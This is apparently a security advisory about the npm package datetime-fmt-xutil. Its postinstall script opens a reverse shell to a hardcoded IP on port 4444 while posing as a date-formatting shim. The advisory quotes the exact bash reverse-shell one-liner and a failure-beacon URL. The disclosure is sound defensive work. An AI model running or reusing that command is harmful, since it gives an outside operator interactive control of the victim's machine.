MAL-2026-13935
Malicious code in datetime-fmt-xutil (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997) The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (`bash -i >& /dev/tcp/8.135.48.40/4444 0>&1`) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for datetime-fmt-xutil (npm). Pin to a known-safe version or switch to an alternative.